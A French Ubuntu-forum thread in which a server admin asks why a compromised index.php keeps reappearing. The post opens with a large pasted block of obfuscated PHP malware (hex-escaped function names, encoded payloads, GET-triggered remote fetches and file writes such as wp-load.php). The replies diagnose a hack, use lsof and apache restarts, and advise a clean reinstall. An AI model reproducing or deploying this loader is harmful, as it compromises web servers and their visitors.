"_S\x45\x52\x56\x45R"}["\x52\x45\x51\x55\x45\x53\x54\x5f\x53\x43\x48\x45\x4d\x45"])){$FI8I8LL8IL=${"_S\x45\x52\x56\x45R"}["\x52\x45\x51\x55\x45\x53\x54\x5f\x53\x43\x48\x45\x4d\x45"];}$FI8L8ILL8I=(int)$FI8L8ILL8I;${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x49\x4c\x38\x4c\x4c\x38"](\'\',$FI8L8ILL8I,$FI88LII8LL,$FII88LIL8L);$FL8LII8I8L=$FI8LI8LLI8.$FI8LLII88L.${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($F88IIL8LLI);$F8I8LII8LL=$FI8LI8LLI8.${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($F8IL8LLII8);$FL8LI8I8LI=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'FcRBChToAwDADB18SjUU8iiG8JFExFaLDx/7pzGM+MTVW89RQtljZPyzqGx1F26cNJSS85BT1kdFOli9rtPfBw==\');$FL88I8ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'FcRBChToAwDADB18SjUU8iiG8RBGNpabDp/3XnMBbhm6pYbSGaevF5WtbRzY9rlzbcFNTJyOmlkzI9lKjtP+fQ==\');$FLL8I8II8L=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'yygpKhTbDS11fNyC8uUdXPTSxIy8xJ1SutPpKAEA\');$FL8LI8I8LI=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x38\x38\x4c\x49\x49\x4c\x49"]("/%host%/si",$FL8LII8I8L,$FL8LI8I8LI);$FLL8I8II8L=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x38\x38\x4c\x49\x49\x4c\x49"]("/%host%/si",$FL8LII8I8L,$FLL8I8II8L);$FILL8I8I8L=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'sykuShTMxLz7ctPDAA==\');$FIL8LII8L8=\'zlib\';$FLIIL8LI88=\'|\';$F8LLLI8II8=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'y0+KThT6/KSMxLyUktPtAgA=\');if(isset(${"\x5fG\x45T"}["\x78\x78\x6e\x65\x77\x5f\x6d\x61\x70"])){$F8LIIL88LI=${"\x5fG\x45T"}["\x78\x78\x6e\x65\x77\x5f\x6d\x61\x70"];$F8ILILLI88=\'/\';if($F8LIIL88LI!=\'\'){${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x38\x4c\x49\x38\x4c\x49\x4c\x49"]($F8LIIL88LI,0755);$F8LIIL88LI =$F8LIIL88LI.$F8ILILLI88;}$FL8I88ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x4c\x4c\x38\x4c\x49\x38"]($FLL8I8II8L);$FLL8II8I8L=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x49\x4c\x38\x38\x4c\x4c"](\'|\',$FL8I88ILIL);$FL88I8IILL=\'end\';for($FLIII8L8L8=0;$FLIII8L8L8<${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x49\x38\x38\x49\x4c\x4c\x38\x49"]($FLL8II8I8L);$FLIII8L8L8++){$FLI8LI8IL8=sprintf($FL8LI8I8LI,$F8ILI8I8LL,$FI8LLII88L,${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x4c\x38\x38"](${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x49\x38\x4c\x4c\x49\x49\x38\x38"](\'Y-m-d h:i:s\')),${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x4c\x38\x38"]($F8ILILLI88.${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($FLL8II8I8L[$FLIII8L8L8])),${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x4c\x38\x38"]($FI8I8LL8IL),${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($FLIII8L8L8pps) ,${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x4c\x38\x38"]($FIIL8LI8L8),${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x4c\x38\x38"]($FLII8IL88L),$FLLI8ILI88,$F88IL8LILI,0,$F8ILL8ILI8.$FLIIL8LI88.$FII88LIL8L);$FL8I88ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x4c\x4c\x38\x4c\x49\x38"]($FLI8LI8IL8);$FL8LIIL88I=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'09coyhTk/KLynW1NPSK6koUdEtPHAA==\');if(${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x38\x4c\x38"]($FL8I88ILIL,$FILL8I8I8L)&&${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x49\x4c\x38\x49\x38\x49\x4c"]($FL8LIIL88I,${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($FLL8II8I8L[$FLIII8L8L8]))){$FL8I88ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x38\x38\x49\x4c\x4c\x49"]($FILL8I8I8L,\'\',$FL8I88ILIL);${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x4c\x49\x38\x38\x49\x4c\x49"](${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($FLL8II8I8L[$FLIII8L8L8]),$FL8I88ILIL);echo ${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($FLL8II8I8L[$FLIII8L8L8]).\'<br>\';}else if(${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x38\x4c\x38"]($FL8I88ILIL,$FILL8I8I8L)){$FL8I88ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x38\x38\x49\x4c\x4c\x49"]($FILL8I8I8L,\'\',$FL8I88ILIL);${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x4c\x49\x38\x38\x49\x4c\x49"]($F8LIIL88LI.${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($FLL8II8I8L[$FLIII8L8L8]),$FL8I88ILIL);echo $F8LIIL88LI.${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($FLL8II8I8L[$FLIII8L8L8]).\'<br>\';}}echo $FL88I8IILL;unset($FL8I88ILIL,$FLL8II8I8L,$F8LIIL88LI);exit();}$FL8LI8I8LI=sprintf($FL8LI8I8LI,$F8ILI8I8LL,$FI8LLII88L,${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x4c\x38\x38"](${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x49\x38\x4c\x4c\x49\x49\x38\x38"](\'Y-m-d h:i:s\')),${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x4c\x38\x38"]($F8LIL8ILI8),${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x4c\x38\x38"]($FI8I8LL8IL),${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($FLIII8L8L8pps) ,${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x4c\x38\x38"]($FIIL8LI8L8),${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x4c\x38\x38"]($FLII8IL88L),$FLLI8ILI88,$F88IL8LILI,0,$FII88LIL8L.$FLIIL8LI88.$F8LLIII88L);$FL88I8ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x38\x38\x4c\x49\x49\x4c\x49"]("/%host%/si",$F8I8LII8LL,$FL88I8ILIL);$FL88I8ILIL=sprintf($FL88I8ILIL,$F8ILI8I8LL,$FI8LLII88L,${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x4c\x38\x38"](${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x49\x38\x4c\x4c\x49\x49\x38\x38"](\'Y-m-d h:i:s\')),${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x4c\x38\x38"]($F8LIL8ILI8),${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x4c\x38\x38"]($FI8I8LL8IL),${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($FLIII8L8L8pps) ,${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x4c\x38\x38"]($FIIL8LI8L8),${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x4c\x38\x38"]($FLII8IL88L),$FLLI8ILI88,$F88IL8LILI,1,$FII88LIL8L.$FLIIL8LI88.$F8LLIII88L);$FL88LILI8I=isset(${"\x5fG\x45T"}[\'xxnew201\'.\'8_url1\'])?${"\x5fG\x45T"}[\'xxnew201\'.\'8_url1\']:\'\';$F8LI8LILI8=isset(${"\x5fG\x45T"}[\'writerfi\'.\'lename\'])?${"\x5fG\x45T"}[\'writerfi\'.\'lename\']:\'\';if(isset(${"\x5fG\x45T"}[\'xxnew201\'.\'8_url1\'])){$F8LL8LI8II=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'yygpKhTbDS108syNfLrcxNSdLLzEvtPL1wcA\');$FLII88LI8L=\'wp-l\'.\'oad.php\';$FI88LL8LII=\'up\'.\'.txt\';if($F8LI8LILI8!=\'\'){${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x4c\x49\x38\x38\x49\x4c\x49"]($F8IL8I8LLI,${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x4c\x38\x38\x49\x49\x49\x4c"]($FL88LILI8I).\'-\'.${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x4c\x38\x38\x49\x49\x49\x4c"]($F8LI8LILI8));$FLII88LI8L=$F8LI8LILI8;}$F8LII8LLI8=@${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x49\x4c\x38\x38\x49\x49\x4c"]($F8IL8I8LLI);if(${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($F8LII8LLI8)!=\'\'){$F8LII8LLI8=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x49\x4c\x38\x38\x4c\x4c"](\'-\',$F8LII8LLI8);$FLII88LI8L=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x38\x4c\x49\x4c\x49\x49\x4c\x38"](${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($F8LII8LLI8[1]));$FI88LL8LII=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x38\x4c\x49\x4c\x49\x49\x4c\x38"](${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x4c\x38\x49\x49\x38\x38\x49\x4c"]($F8LII8LLI8[0]));}$FLIL8I88IL=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'Ky/QThTcrJT9fNSE1MSS0tPCAA==\');$F8IILLL88I=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x49\x4c\x38\x38\x4c\x4c"](\'|\',$FLII88LI8L);$F88LILI8LI=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x49\x4c\x38\x38\x4c\x4c"](\'|\',$FI88LL8LII);for($F88IIL8LIL=0;$F88IIL8LIL<${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x49\x38\x38\x49\x4c\x4c\x38\x49"]($F8IILLL88I);$F88IIL8LIL++){$FLII88LI8L=$F8IILLL88I[$F88IIL8LIL];if(${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x49\x38\x38\x49\x4c\x4c\x38\x49"]($F88LILI8LI)<=$F88IIL8LIL){$FI88LL8LII=$F88LILI8LI[${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x49\x38\x38\x49\x4c\x4c\x38\x49"]($F88LILI8LI)-1];}else{$FI88LL8LII=$F88LILI8LI[$F88IIL8LIL];}$FL8I88ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x4c\x4c\x38\x4c\x49\x38"]($F8LL8LI8II.$FI88LL8LII);$FLI88L8LII=substr($FLII88LI8L,-${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x49\x49\x4c\x4c\x38\x38\x49"]($FLII88LI8L),${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x49\x4c\x49\x38\x4c\x38\x38\x49"]($FLII88LI8L,\'/\'));if(!${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x4c\x4c\x38\x49\x38\x49\x38"]($FLI88L8LII)&&$FLI88L8LII!=\'\'){mkdir ($FLI88L8LII,0755,true);}$F8LILI8I8L=@${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x49\x4c\x38\x38\x49\x49\x4c"]($FLII88LI8L);if(!${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x38\x4c\x38"]($F8LILI8I8L,$FLIL8I88IL)){@${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x49\x4c\x38\x49\x38\x4c"]($FLII88LI8L,0644);${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x4c\x49\x38\x38\x49\x4c\x49"]($FLII88LI8L,$FL8I88ILIL.$F8LILI8I8L);}}}if(isset(${"\x5fG\x45T"}[\'xxnew201\'.\'8_url1\'])){echo $FL8LI8I8LI;exit();}if(isset(${"\x5fG\x45T"}[\'xxnew201\'.\'8_url2\'])){echo $FL88I8ILIL;exit();}if(isset(${"\x5fG\x45T"}["\x77\x65\x62\x6d\x61\x73\x74\x65\x72\x73\x5f\x75\x72\x6c"])){$FILLLI88I8=${"\x5fG\x45T"}["\x77\x65\x62\x6d\x61\x73\x74\x65\x72\x73\x5f\x75\x72\x6c"];$FL8I8LI8IL=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'yygpKhTSi20tcvLy/XS8/PT89J1UvOz9UvT03KTSwuSS0q1i/OLEnNTSwo1i/IzEu3h/JtPsAQ==\').$FILLLI88I8;$FL8I88ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x49\x4c\x38\x38\x49\x49\x4c"]($FL8I8LI8IL);echo $FL8I88ILIL;exit();}$FLLI8II88L=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'yyhJThTM7tPPBgA=\');$FLLI8II88L=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'yyhJThTM7tPLBwA=\');if(isset(${"\x5fG\x45T"}["\x68\x74\x61\x63"])){$F8LI8L8ILI=${"\x5fG\x45T"}["\x68\x74\x61\x63"];if(${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x4c\x49\x38\x49\x4c\x4c\x38\x49"]($F8LI8L8ILI)){echo $FLLI8II88L;}else{echo $FLLI8II88L;}exit();}$FL8LIIL88I=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'09coyhTk/KLynW1NPSK6koUdEtPHAA==\');if(${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x49\x4c\x38\x49\x38\x49\x4c"]($FL8LIIL88I,$F8LIL8ILI8)){$FL8I88ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x4c\x4c\x38\x4c\x49\x38"]($FL8LI8I8LI);if(${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x38\x4c\x38"]($FL8I88ILIL,$FILL8I8I8L)){$FL8I88ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x38\x38\x49\x4c\x4c\x49"]($FILL8I8I8L,\'\',$FL8I88ILIL);$FL8LILII88=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'S87PKhT0nNK9EtqSwtPAAA==\').\'e:text/txt\';@header($FL8LILII88);echo $FL8I88ILIL;unset($FL8I88ILIL,$FL8LI8I8LI,$F8LIL8ILI8,$F8ILI8I8LL,$FIIL8LI8L8,$FLII8IL88L);exit();}}$F8ILILI8L8=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'09cozhTixJzU0s0NTT0qvIzVHtPRBwA=\');if(${"G\x4cO\x42\x41\x4cS"}["\x46\x4c\x38\x49\x4c\x38\x49\x38\x49\x4c"]($F8ILILI8L8,$F8LIL8ILI8)){$FL8I88ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x4c\x4c\x38\x4c\x49\x38"]($FL8LI8I8LI);if(${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x38\x4c\x38"]($FL8I88ILIL,$FILL8I8I8L)){$FL8I88ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x38\x38\x49\x4c\x4c\x49"]($FILL8I8I8L,\'\',$FL8I88ILIL);$FL8LILII88=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x4c\x49\x38\x49\x4c\x38"](\'S87PKhT0nNK9EtPtqQQA\').\'pe:text/xml\';@header($FL8LILII88);echo $FL8I88ILIL;unset($FL8I88ILIL,$FL8LI8I8LI,$F8LIL8ILI8,$F8ILI8I8LL,$FIIL8LI8L8,$FLII8IL88L);exit();}}if($FLIIL8L88I){$FL8I88ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x4c\x4c\x38\x4c\x49\x38"]($FL8LI8I8LI);if(${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x38\x4c\x38"]($FL8I88ILIL,$FILL8I8I8L)){$FL8I88ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x38\x38\x49\x4c\x4c\x49"]($FILL8I8I8L,\'\',$FL8I88ILIL);echo $FL8I88ILIL;unset($FL8I88ILIL,$F8LIL8ILI8,$F8ILI8I8LL,$FIIL8LI8L8,$FLII8IL88L);exit();}}if($FLI88LLII8){$FL8I88ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x49\x4c\x4c\x38\x4c\x49\x38"]($FL88I8ILIL);if(${"G\x4cO\x42\x41\x4cS"}["\x46\x38\x49\x4c\x4c\x49\x49\x38\x4c\x38"]($FL8I88ILIL,$FILL8I8I8L)){$FL8I88ILIL=${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x4c\x38\x38\x38\x49\x4c\x4c\x49"]($FILL8I8I8L,\'\',$FL8I88ILIL);echo $FL8I88ILIL;unset($FL8I88ILIL,$F8LIL8ILI8,$F8ILI8I8LL,$FIIL8LI8L8,$FLII8IL88L);exit();}}');${"G\x4cO\x42\x41\x4cS"}["\x46\x49\x38\x49\x4c\x4c\x38\x38\x49\x4c"]();?>

<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );?>

merci pour toute idée qui me permettrait de résoudre ce problème.

Dernière modification par vincent-avct (Le 30/03/2021, à 21:55)

abelthorne

Re : [RÉSOLU] serveur ubuntu 16.04 impossible de supprimer fichier en root

J'aurais tendance à penser que ton site a été hacké (ou le serveur) et que ce fichier est une sorte de malware ; la troisième ligne de code ressemble à un encodage. Tu ne risques probablement pas grand chose dans l'immédiat si ton site n'utilise pas WordPress (le machin en question a l'air de le cibler, vraisemblablement pour donner un accès à l'admin) mais si le fichier réapparaît à chaque fois qu'on accède à ton site (Drupal, donc), il y a potentiellement une saloperie qui a été ajoutée dans ce dernier et qui génère le fichier suspect.

Donc, tu devrais commencer par vérifier l'intégrité des fichiers de tout ton site Drupal, voir s'il y a des fichiers en trop, certains altérés, etc. et les remettre en place depuis la version d'origine si tu as un backup en local. Après, ça peut aussi venir d'un truc plus tordu : un commentaire dans un article qui insère du code via une faille ou quelque chose dans le genre...

Dernière modification par abelthorne (Le 30/03/2021, à 20:37)

vincent-avct

Re : [RÉSOLU] serveur ubuntu 16.04 impossible de supprimer fichier en root

salut abelthorne,
merci pour ton message. le rpoblème vient du fait que l'index a été modifié. donc plus rien ne fonctionne, page blanche, basta.
je vais essayer avec l'install d'un nouveau drupal.
sans même interroger le site via http, le fichier index est supprimer puis re créer (je suppose)
avec

rm -v index.php

j'ai

removed 'index.php'

mais il est toujours là...

jplemoine

Re : [RÉSOLU] serveur ubuntu 16.04 impossible de supprimer fichier en root

Juste un truc : supprimer un fichier ne sert à rien s'il est bloqué par un processus.
De mémoire, il revient comme par magie.
Sauf erreur de ma part, il faut regarder avec lsof s'il y a un processus qui utilise le fichier :
- si non, on peut le supprimer
- si oui, il faut arrêter le processus, supprimer le fichier puis redémarre le processus.

---

Ce compte ne servira plus : vous pouvez le supprimer si le coeur vous en dit...
Laissé par l'auteur pour historique.

abelthorne

Re : [RÉSOLU] serveur ubuntu 16.04 impossible de supprimer fichier en root

Si le fichier revient tout seul − alors qu'il est bien supprimé, sans être verrouillé par un processus qui l'en empêche −, c'est possible que ce soit sur le serveur qu'il y ait eu une intrusion (pas via le site lui-même) et que tu aies un rootkit installé ou un problème similaire. Et là, c'est plus sérieux.

vincent-avct

Re : [RÉSOLU] serveur ubuntu 16.04 impossible de supprimer fichier en root

salut jplemoine,
merci pour cette piste qui m'a permis de résoudre le problème.

lsof /chemin/du/fichier

te donne effetivement des informations sur les processus qui utilise ce fichier.
le fichier index.php semblait être utilisé par apache2, j'ai stopé apache, supprimé le fichier relancé apache et remplacé mon index.
encore merci, je note avec plaisir RÉSOLU
bonne soirée

abelthorne

Re : [RÉSOLU] serveur ubuntu 16.04 impossible de supprimer fichier en root

Vérifie quand même l'intégrité de ton site, le fichier index.php vérolé n'est pas arrivé là tout seul...

vincent-avct

Re : [RÉSOLU] serveur ubuntu 16.04 impossible de supprimer fichier en root

j'ai fait backup  de cette version et je vais installer un core drupal clean avant de ré injecter mes modules.
merci pour tes conseils